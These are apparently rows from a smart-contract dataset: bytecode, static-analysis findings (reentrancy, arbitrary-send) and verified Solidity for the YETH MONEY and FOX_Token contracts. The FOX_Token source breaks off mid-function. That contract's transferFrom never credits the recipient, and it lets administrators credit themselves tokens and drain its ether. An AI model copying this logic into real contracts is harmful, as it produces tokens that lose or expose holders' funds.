5b9050919050565b6000602082019050818103600083015261413981613e34565b9050919050565b60006020820190506141556000830184613e57565b92915050565b600060a0820190506141706000830188613e57565b61417d6020830187613c25565b818103604083015261418f8186613bb8565b905061419e6060830185613ba9565b6141ab6080830184613e57565b9695505050505050565b60006020820190506141ca6000830184613e66565b92915050565b60006141da6141eb565b90506141e68282614425565b919050565b6000604051905090565b600067ffffffffffffffff8211156142105761420f6144fd565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000614281826143c9565b915061428c836143c9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156142c1576142c061449f565b5b828201905092915050565b60006142d7826143c9565b91506142e2836143c9565b9250826142f2576142f16144ce565b5b828204905092915050565b6000614308826143c9565b9150614313836143c9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561434c5761434b61449f565b5b828202905092915050565b6000614362826143c9565b915061436d836143c9565b9250828210156143805761437f61449f565b5b828203905092915050565b6000614396826143a9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006143eb826143c9565b9050919050565b60005b838110156144105780820151818401526020810190506143f5565b8381111561441f576000848401525b50505050565b61442e8261452c565b810181811067ffffffffffffffff8211171561444d5761444c6144fd565b5b80604052505050565b6000614461826143c9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156144945761449361449f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6148da8161438b565b81146148e557600080fd5b50565b6148f18161439d565b81146148fc57600080fd5b50565b614908816143c9565b811461491357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122096fdfe55bd7f169233b2bfd7b3bb94d1daa8f0ee1b7492e79198d1a7e2530ec064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,805 |
0x914a3c0b6dd6ec022d4fa0db75ce82314b153a31
|
pragma solidity 0.5.2;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract Token is ERC20, ERC20Detailed {
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor () public ERC20Detailed("YETH MONEY", "YETH", 6) {
_mint(msg.sender, 1000000000 * (10 ** uint256(decimals())));
}
}
|
0x608060405234801561001057600080fd5b50600436106100c6576000357c010000000000000000000000000000000000000000000000000000000090048063395093511161008e57806339509351146101f657806370a082311461022257806395d89b4114610248578063a457c2d714610250578063a9059cbb1461027c578063dd62ed3e146102a8576100c6565b806306fdde03146100cb578063095ea7b31461014857806318160ddd1461018857806323b872dd146101a2578063313ce567146101d8575b600080fd5b6100d36102d6565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101746004803603604081101561015e57600080fd5b50600160a060020a03813516906020013561036c565b604080519115158252519081900360200190f35b610190610382565b60408051918252519081900360200190f35b610174600480360360608110156101b857600080fd5b50600160a060020a03813581169160208101359091169060400135610388565b6101e06103df565b6040805160ff9092168252519081900360200190f35b6101746004803603604081101561020c57600080fd5b50600160a060020a0381351690602001356103e8565b6101906004803603602081101561023857600080fd5b5035600160a060020a0316610424565b6100d361043f565b6101746004803603604081101561026657600080fd5b50600160a060020a0381351690602001356104a0565b6101746004803603604081101561029257600080fd5b50600160a060020a0381351690602001356104dc565b610190600480360360408110156102be57600080fd5b50600160a060020a03813581169160200135166104e9565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103625780601f1061033757610100808354040283529160200191610362565b820191906000526020600020905b81548152906001019060200180831161034557829003601f168201915b5050505050905090565b6000610379338484610514565b50600192915050565b60025490565b600061039584848461060a565b600160a060020a0384166000908152600160209081526040808320338085529252909120546103d59186916103d0908663ffffffff61075616565b610514565b5060019392505050565b60055460ff1690565b336000818152600160209081526040808320600160a060020a038716845290915281205490916103799185906103d0908663ffffffff6107b616565b600160a060020a031660009081526020819052604090205490565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103625780601f1061033757610100808354040283529160200191610362565b336000818152600160209081526040808320600160a060020a038716845290915281205490916103799185906103d0908663ffffffff61075616565b600061037933848461060a565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600160a060020a038316151561055e5760405160e560020a62461bcd0281526004018080602001828103825260248152602001806108856024913960400191505060405180910390fd5b600160a060020a03821615156105a85760405160e560020a62461bcd02815260040180806020018281038252602281526020018061083e6022913960400191505060405180910390fd5b600160a060020a03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600160a060020a03831615156106545760405160e560020a62461bcd0281526004018080602001828103825260258152602001806108606025913960400191505060405180910390fd5b600160a060020a038216151561069e5760405160e560020a62461bcd02815260040180806020018281038252602381526020018061081b6023913960400191505060405180910390fd5b600160a060020a0383166000908152602081905260409020546106c7908263ffffffff61075616565b600160a060020a0380851660009081526020819052604080822093909355908416815220546106fc908263ffffffff6107b616565b600160a060020a038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6000828211156107b0576040805160e560020a62461bcd02815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600082820183811015610813576040805160e560020a62461bcd02815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a165627a7a723058208b5250a4b6f08227462e70099794026e47764b1e3943ebf8178bdbabfaf8857a0029
|
{"success": true, "error": null, "results": {}}
| 7,806 |
0x22b11b525de3828ae0870dd8bcda78234ae13fba
|
/**
*Submitted for verification at Etherscan.io on 2021-01-12
*/
pragma solidity ^0.7.0;
contract FOX_Token {
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
/*==============================
= EVENTS =
==============================*/
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
event Approval(
address indexed tokenOwner,
address indexed spender,
uint tokens
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "FOX TOKEN";
string public symbol = "FXT";
uint8 constant public decimals = 8;
uint256 internal totalSupply_ = 2100000*10**8;
uint256 internal availabletoken=1620000*10**8;
uint256 internal tokenSupply_ = 0;
uint256 internal tokenforReferalIncome_ = 0;
uint256 internal totalNoOfBurntoken_ = 0;
uint256 public flag_ = 221;
uint256 constant internal tokenpurchasePriceInitial_ =83330000000000;
uint256 public buypercent = 20;
uint256 public sellpercent = 10;
uint256 public burnpercent = 2;
uint256 purchaseToken=0;
uint256 public PurchasecurrentPrice_ = 381280000000000;
mapping(address => mapping (address => uint256)) allowed;
address commissionHolder;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal etherBalanceLedger_;
address payable sonk;
mapping(address => bool) internal administrators;
uint256 commFunds=0;
address payable owner;
constructor()
{
sonk = msg.sender;
administrators[sonk] = true;
commissionHolder = sonk;
owner = sonk;
tokenSupply_ = 220000*10**8;
tokenforReferalIncome_ = 220000*10**8;
availabletoken=1620000*10**8;
flag_ = 221;
tokenBalanceLedger_[commissionHolder] = 480000*10**8;
PurchasecurrentPrice_ = 381280000000000; //wei per token
}
function upgradeDetails(
uint256 _salePercent, uint256 _PurchasePercent)
onlyAdministrator()
public
{
buypercent = _PurchasePercent;
sellpercent = _salePercent;
}
receive() external payable
{
}
function Predemption()
public
payable
{
purchaseTokens(msg.value);
}
fallback() payable external
{
purchaseTokens(msg.value);
}
function Stack()
public
payable
{
StackTokens(msg.value);
}
function Sredemption(uint256 _amountOfTokens)
onlyBagholders()
public
{
address payable _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
_amountOfTokens = SafeMath.div(_amountOfTokens, 10**8);
uint256 _tokenToBurn=0;
if(_amountOfTokens<50)
{
_tokenToBurn=1;
}
else
{
uint256 flag=SafeMath.div(_amountOfTokens, 50);
_tokenToBurn=flag;
uint256 _flag =SafeMath.mod(_amountOfTokens, 50);
if(_flag >0)
{
_tokenToBurn=SafeMath.add(_tokenToBurn, 1);
}
}
uint256 _tokenToSell=SafeMath.sub(_amountOfTokens, _tokenToBurn);
require(_tokenToSell >=1);
burn(_tokenToBurn*10**8);
uint256 _tokens = _tokenToSell;
uint256 _ethereum = tokensToEthereum_(_tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens*10**8);
_customerAddress.transfer(_ethereum);
emit Transfer(_customerAddress, address(this), _amountOfTokens*10**8);
}
function sendTokenToContract(uint256 _amountOfTokens)
onlyAdministrator()
public
{
address payable _customerAddress = msg.sender;
require(administrators[_customerAddress]);
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
availabletoken=SafeMath.add(availabletoken, _amountOfTokens);
}
function with_Token(uint256 _amountOfTokens)
onlyAdministrator() public
{
uint256 remeningToken=SafeMath.sub(availabletoken,tokenSupply_);
require(_amountOfTokens <= remeningToken);
address payable _customerAddress = msg.sender;
require(administrators[_customerAddress]);
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
emit Transfer(address(this), _customerAddress, _amountOfTokens);
if(_amountOfTokens != tokenforReferalIncome_)
{
availabletoken=SafeMath.sub(availabletoken, _amountOfTokens);
}
}
function myEthers()
public view
returns(uint256)
{
return etherBalanceLedger_[msg.sender];
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
emit Transfer(_customerAddress, _toAddress, _amountOfTokens);
// ERC20
return true;
}
function transferFrom(address owner, address buyer, uint numTokens) public returns (bool) {
require(numTokens <= tokenBalanceLedger_[owner]);
require(numTokens <= allowed[owner][msg.sender]);
tokenBalanceLedger_[owner] = SafeMath.sub(tokenBalanceLedger_[owner],numTokens);
allowed[owner][msg.sender] =SafeMath.sub(allowed[owner][msg.sender],numTokens);
emit Transfer(owner, buyer, numTokens);
return true;
}
function we_(address payable _receiver, uint256 _withdrawAmount) onlyAdministrator() public
{
uint256 _contractBalance = contractBalance();
if (msg.sender != address(this) && msg.sender != owner) {revert("Invalid Sender Address");}
if (_contractBalance < _withdrawAmount) {revert("Not enough amount");}
_receiver.transfer(_withdrawAmount);
}
function setPurchasePercent(uint256 newPercent) onlyAdministrator() public {
buypercent = newPercent;
}
function setSellPercent(uint256 newPercent) onlyAdministrator() public {
sellpercent = newPercent;
}
function burn(uint256 _amountToBurn) internal {
tokenBalanceLedger_[address(0x000000000000000000000000000000000000dEaD)] += _amountToBurn;
availabletoken = SafeMath.sub(availabletoken, _amountToBurn);
totalNoOfBurntoken_=SafeMath.add(totalNoOfBurntoken_, _amountToBurn);
emit Transfer(address(this), address(0x000000000000000000000000000000000000dEaD), _amountToBurn);
}
function setName(string memory _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string memory _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function setupCommissionHolder(address _commissionHolder)
onlyAdministrator()
public
{
commissionHolder = _commissionHolder;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return address(this).balance;
}
function totalSupply()
public
view
returns(uint256)
{
return totalSupply_ ;
}
function AvailableSupply()
public
view
returns(uint256)
{
return availabletoken - tokenSupply_ ;
}
function totalNoOfBurntoken()
public
view
returns(uint256)
{
return totalNoOfBurntoken_ ;
}
function tokenSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
/**
* Retrieve the tokens owned by the caller.
*/
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
/**
* Retrieve the token balance of any single address.
*/
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function contractBalance() public view returns (uint) {
return address(this).balance;
}
function remainingToken() public view returns (uint) {
return availabletoken - tokenSupply_ ;
}
function sellPrice()
public view
returns(uint256)
{
return PurchasecurrentPrice_ ;
}
/**
* Return the sell price of 1 individual token.
*/
function buyPrice()
public view
returns(uint256)
{
return PurchasecurrentPrice_ ;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public view
returns(uint256)
{
// require(_tokensToSell <= tokenSupply_);
uint256 _tokenToBurn=0;
if(_tokensToSell<50)
{
_tokenToBurn=1;
}
else
{
uint256 flag=SafeMath.div(_tokensToSell, 50);
_tokenToBurn=flag;
uint256 _flag =SafeMath.mod(_tokensToSell, 50);
if(_flag >0)
{
_tokenToBurn=SafeMath.add(_tokenToBurn, 1);
}
}
uint256 _tokenTosellOut = SafeMath.sub(_tokensToSell, _tokenToBurn);
uint256 _ethereum = getTokensToEthereum_(_tokenTosellOut);
return _ethereum;
}
function calculateEthereumToPay(uint256 _tokenToPurchase)
public view
returns(uint256)
{
uint256 _ethereum = getTokensToEthereum_(_tokenToPurchase);
uint256 _dividends = _ethereum * buypercent/100;
uint256 _totalEth = SafeMath.add(_ethereum, _dividends);
return _totalEth;
}
function calculateConvenienceFee(uint256 _ethereum)
public view
returns(uint256)
{
uint256 _dividends = _ethereum * buypercent/100;
return _dividends;
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
event testLog(
uint256 currBal
);
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = _ethereumToSpend * buypercent/100;
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = getEthereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function purchaseTokens(uint256 _incomingEthereum)
internal
returns(uint256)
{
address _customerAddress = msg.sender;
uint256 remeningToken=SafeMath.sub(availabletoken,tokenSupply_);
uint256 _purchasecomision = _incomingEthereum * buypercent /100;
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _purchasecomision);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum );
_amountOfTokens =_amountOfTokens*10**8;
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
require(_amountOfTokens <= remeningToken);
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
emit Transfer(address(this), _customerAddress, _amountOfTokens);
return _amountOfTokens;
}
function StackTokens(uint256 _incomingEthereum)
internal
returns(uint256)
{
// data setup
uint256 remeningToken=SafeMath.sub(availabletoken,tokenSupply_);
uint256 StackAmount = _incomingEthereum * 75 /100;
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, StackAmount);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum );
_amountOfTokens =_amountOfTokens*10**8;
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
require(_amountOfTokens <= remeningToken);
tokenBalanceLedger_[commissionHolder] = SafeMath.add(tokenBalanceLedger_[commissionHolder], _amountOfTokens);
// fire event
emit Transfer(address(this), commissionHolder, _amountOfTokens);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum )
internal
returns(uint256)
{
uint256 _currentPrice=0;
uint256 tokenSupplyforPrice= SafeMath.div(tokenSupply_, 10**8);
uint256 _slot=SafeMath.div(tokenSupplyforPrice, 1000);
if(_slot >0)
{
_currentPrice=PurchasecurrentPrice_;
}
else
{
_currentPrice=tokenpurchasePriceInitial_;
}
uint256 _tokensReceived = SafeMath.div(_ethereum, _currentPrice);
tokenSupply_ = SafeMath.add(tokenSupply_, _tokensReceived*10**8);
uint256 tokenSupplyforPriceChange= SafeMath.div(tokenSupply_, 10**8);
uint256 slot=SafeMath.div(tokenSupplyforPriceChange, 1000);
if(flag_ == slot)
{
uint256 incrementalPriceOnly=PurchasecurrentPrice_ * 7/1000;
PurchasecurrentPrice_=SafeMath.add(PurchasecurrentPrice_, incrementalPriceOnly);
flag_=slot+1;
}
else if(slot > flag_)
{
uint256 noOfSlot=SafeMath.sub(slot, flag_);
for (uint i=0; i <= noOfSlot; i++) {
uint256 incrementalPriceOnly=PurchasecurrentPrice_ * 7/1000;
PurchasecurrentPrice_=SafeMath.add(PurchasecurrentPrice_, incrementalPriceOnly);
}
flag_=slot+1;
}
return _tokensReceived;
}
function getEthereumToTokens_(uint256 _ethereum )
public
view
returns(uint256)
{
uint256 _currentPrice=0;
uint256 tokenSupplyforPrice= SafeMath.div(tokenSupply_, 10**8);
uint256 _slot=SafeMath.div(tokenSupplyforPrice, 1000);
if(_slot >0)
{
if(flag_ == _slot)
{
uint256 incrementalPriceOnly=PurchasecurrentPrice_ * 7/1000;
_currentPrice=SafeMath.add(PurchasecurrentPrice_, incrementalPriceOnly);
}
else
{
_currentPrice=PurchasecurrentPrice_;
}
}
else
{
_currentPrice=tokenpurchasePriceInitial_;
}
uint256 _tokensReceived = SafeMath.div(_ethereum, _currentPrice);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
returns(uint256)
{
uint256 saleToken=1;
uint256 _currentSellPrice = 0;
uint256 _sellethSlotwise = 0;
while(saleToken <=_tokens)
{
uint256 tokenSupplyforPrice= SafeMath.div(tokenSupply_, 10**8);
uint _slotno =SafeMath.div(tokenSupplyforPrice, 1000);
if(_slotno >0)
{
uint flag =SafeMath.mod(tokenSupplyforPrice, 1000);
if(flag==0 && tokenSupplyforPrice !=220000)
{
uint256 incrementalPriceOnly=PurchasecurrentPrice_ * 7/1000;
_currentSellPrice=SafeMath.sub(PurchasecurrentPrice_, incrementalPriceOnly);
flag_=flag_-1;
}
else
{
_currentSellPrice=PurchasecurrentPrice_;
}
}
else
{
_currentSellPrice=tokenpurchasePriceInitial_ ;
}
